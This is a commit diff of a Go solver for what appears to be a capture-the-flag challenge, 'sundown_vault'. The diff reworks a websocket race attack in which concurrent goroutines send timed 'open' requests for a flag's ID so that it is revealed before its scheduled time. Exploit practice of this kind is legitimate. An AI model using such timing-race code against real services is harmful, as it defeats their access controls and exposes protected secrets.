Commit 20e9abe
2025-04-05_pctf/sundown_vault/create.go
@@ -5,6 +5,7 @@ import (
"encoding/json"
"fmt"
"net/http"
+ "time"
"github.com/google/uuid"
)
@@ -63,28 +64,39 @@ func loginUser(client *http.Client, username string) (*http.Cookie, error) {
return nil, fmt.Errorf("session cookie not found")
}
-func createSecret(client *http.Client, cookie *http.Cookie, revealAt string) (string, error) {
+func createSecret(client *http.Client, cookie *http.Cookie, revealAt time.Time) (string, time.Time, error) {
+ now := time.Now()
+ revealFmt := revealAt.UTC().Format(time.RFC3339Nano)
+ type secret struct {
+ Id string `json:"id,omitempty"`
+ Name string `json:"name,omitempty"`
+ RevealAt string `json:"revealAt,omitempty"`
+ CreatedAt string `json:"createdAt,omitempty"`
+ }
+ type my struct {
+ Secrets []secret
+ }
name := uuid.New().String()
payload, err := json.Marshal(map[string]string{
"name": name,
"secret": name,
- "revealAt": revealAt,
+ "revealAt": revealFmt,
})
if err != nil {
- return "", err
+ return "", now, err
}
req, err := http.NewRequest("POST", httpURL+"/api/secrets/create", bytes.NewBuffer(payload))
if err != nil {
- return "", err
+ return "", now, err
}
req.Header.Set("Content-Type", "application/json")
req.AddCookie(cookie)
resp, err := client.Do(req)
if err != nil {
- return "", err
+ return "", now, err
}
defer resp.Body.Close()
@@ -93,37 +105,38 @@ func createSecret(client *http.Client, cookie *http.Cookie, revealAt string) (st
}
err = json.NewDecoder(resp.Body).Decode(&result)
if err != nil {
- return "", err
+ return "", now, err
}
- return result.ID, nil
-}
-func postJSON(client *http.Client, path string, payload interface{}, cookie *http.Cookie, out interface{}) (*http.Response, error) {
- data, _ := json.Marshal(payload)
- req, err := http.NewRequest("POST", httpURL+path, bytes.NewBuffer(data))
+ req, err = http.NewRequest("GET", httpURL+"/api/secrets/my", nil)
if err != nil {
- return nil, err
+ return "", now, err
}
req.Header.Set("Content-Type", "application/json")
- if cookie != nil {
- req.AddCookie(cookie)
- }
+ req.AddCookie(cookie)
- resp, err := client.Do(req)
+ resp, err = client.Do(req)
if err != nil {
- return nil, err
+ return "", now, err
}
defer resp.Body.Close()
- if out != nil {
- if err := json.NewDecoder(resp.Body).Decode(out); err != nil {
- return resp, fmt.Errorf("failed to parse response: %w", err)
- }
+ var mySecrets my
+ err = json.NewDecoder(resp.Body).Decode(&mySecrets)
+ if err != nil {
+ return "", now, err
}
- if resp.StatusCode >= 400 {
- return resp, fmt.Errorf("API error: %s", resp.Status)
+ for _, s := range mySecrets.Secrets {
+ if s.Id == result.ID {
+ r, err := time.Parse(time.RFC3339Nano, s.RevealAt)
+ if err != nil {
+ return "", now, err
+ }
+ return result.ID, r, nil
+ }
}
- return resp, nil
+ return result.ID, now, nil
+
}
2025-04-05_pctf/sundown_vault/main.go
@@ -5,6 +5,7 @@ import (
"fmt"
"log"
"net/http"
+ "sync"
"time"
"github.com/gorilla/websocket"
@@ -45,79 +46,102 @@ func main() {
log.Fatalf("failed login: %v", err)
}
- secretDuration := 500 * time.Millisecond
- for {
- revealAt := time.Now().Add(secretDuration)
- revealFmt := revealAt.UTC().Format(time.RFC3339)
+ var wg sync.WaitGroup
+ //secretDuration := 16050 * time.Microsecond
+ secretDuration := 2 * time.Second
+ revealAt := time.Now().Add(secretDuration)
+ myID, revealAt, err := createSecret(client, cookie, revealAt)
+ if err != nil {
+ log.Fatalf("failed to create secret: %v", err)
+ }
+ //fmt.Printf("[%s]\t💾 Created: %s\n", time.Since(revealAt), myID)
- myID, err := createSecret(client, cookie, revealFmt)
- if err != nil {
- log.Fatalf("failed to create secret: %v", err)
- }
- fmt.Printf("[%s]\t💾 Created: %s\n", time.Since(revealAt), myID)
+ for paces := range time.Duration(25) {
+ wg.Add(1)
+ go draw(&wg, myID, revealAt, paces*time.Millisecond)
+ }
+ wg.Wait()
+}
- conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
- if err != nil {
- log.Fatalf("failed ws connect: %v\n", err)
- }
- defer conn.Close()
+func draw(
+ wg *sync.WaitGroup,
+ id string,
+ revealAt time.Time,
+ paces time.Duration,
+) {
+ conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+ if err != nil {
+ log.Fatalf("failed ws connect: %v\n", err)
+ }
- //flag := Message{Command: "open", ID: flagID}
- myFlag := Message{Command: "open", ID: myID}
+ time.Sleep(time.Until(revealAt) - (100 * time.Millisecond))
+ myFlag := Message{Command: "open", ID: id}
+ if err := conn.WriteJSON(myFlag); err != nil {
+ log.Fatalf("Failed to send message: %v\n", err)
+ }
- if err := conn.WriteJSON(myFlag); err != nil {
- log.Fatalf("Failed to send message: %v\n", err)
+ //var drawWG sync.WaitGroup
+ //drawWG.Add(1)
+ //go func() {
+ // flag := Message{Command: "open", ID: flagID}
+ // time.Sleep(time.Until(revealAt) - 10*time.Millisecond)
+ // if err := conn.WriteJSON(flag); err != nil {
+ // log.Fatalf("Failed to send message: %v\n", err)
+ // }
+ // drawWG.Done()
+ //}()
+ //fmt.Printf("[%s]\t🔫 DRAW!\n", time.Now())
+
+ first := true
+ updateCount := 0
+ update := false
+ for {
+ _, data, err := conn.ReadMessage()
+ if err != nil {
+ log.Printf("Read error: %v\n", err)
+ return
}
- //go func() {
- // fmt.Printf("[%s]\t⏱️ loading: %s\n", time.Since(revealAt), offset.String())
- // time.Sleep(secretDuration + offset*2)
- // //if err := conn.WriteJSON(flag); err != nil {
- // // log.Fatalf("Failed to send message: %v\n", err)
- // //}
- // fmt.Printf("[%s]\t🔫 DRAW:\n", time.Since(revealAt))
- //}()
-
- first := true
- updateCount := 0
- for {
- _, data, err := conn.ReadMessage()
- if err != nil {
- log.Printf("Read error: %v\n", err)
- return
- }
- var parsed Message
- if err := json.Unmarshal(data, &parsed); err != nil {
- log.Printf("Failed to parse: %v\n", err)
+ var parsed Message
+ if err := json.Unmarshal(data, &parsed); err != nil {
+ log.Printf("Failed to parse: %v\n", err)
+ continue
+ }
+ fmt.Printf("[%s]\t📩 Raw: %s\n", time.Now(), string(data))
+
+ if parsed.Kind == "Watch" {
+ if first {
+ first = false
continue
}
- //fmt.Printf("[%s]\t📩 Raw: %s\n", time.Since(revealAt), string(data))
-
- if parsed.Kind == "Watch" {
- if first {
- first = false
- continue
- }
- fmt.Printf("[%s]\t☠️ DEAD:\n", time.Since(revealAt))
- break
- }
- if parsed.Kind == "Update" {
- fmt.Printf("[%s]\t📩 Raw: %s\n", time.Since(revealAt), string(data))
- updateCount = updateCount + 1
+ fmt.Printf("[%s]\t☠️ DEAD! \n", time.Now())
+ break
+ }
+ if parsed.Kind == "Update" {
+ //fmt.Printf("[%s]\t📩 Raw: %s\n", time.Now(), string(data))
+ flag := Message{Command: "open", ID: flagID}
+ time.Sleep(paces)
+ if err := conn.WriteJSON(flag); err != nil {
+ log.Fatalf("Failed to send message: %v\n", err)
}
- if parsed.Kind == "Reveal" {
- if parsed.Name == "Flag" {
- fmt.Printf("🎉 SECRET REVEALED: %s\n", parsed.Secret)
- return
- }
- if updateCount > 1 {
- secretDuration = secretDuration - time.Millisecond*5*time.Duration(updateCount)
- }
- if updateCount < 1 {
- secretDuration = secretDuration + time.Millisecond*5
- }
- fmt.Printf("[%s]\t⏱️ calibrated: %s\n", time.Since(revealAt), secretDuration.String())
+ fmt.Printf("[%s]\t📩 SENT\n", time.Now())
+ updateCount = updateCount + 1
+ update = true
+ }
+ if parsed.Kind == "Reveal" {
+ if !update {
+ fmt.Print("DSF")
break
}
+ //fmt.Printf("[%s]\t📩 Raw: %s\n", time.Now(), string(data))
+ if parsed.Name == "Flag" {
+ fmt.Printf("🎉 SECRET REVEALED: %s\n", parsed.Secret)
+ return
+ }
+ //fmt.Printf("💨 MISS! d:%s\n", paces)
+ continue
}
}
+ //drawWG.Wait()
+ conn.Close()
+ wg.Done()
}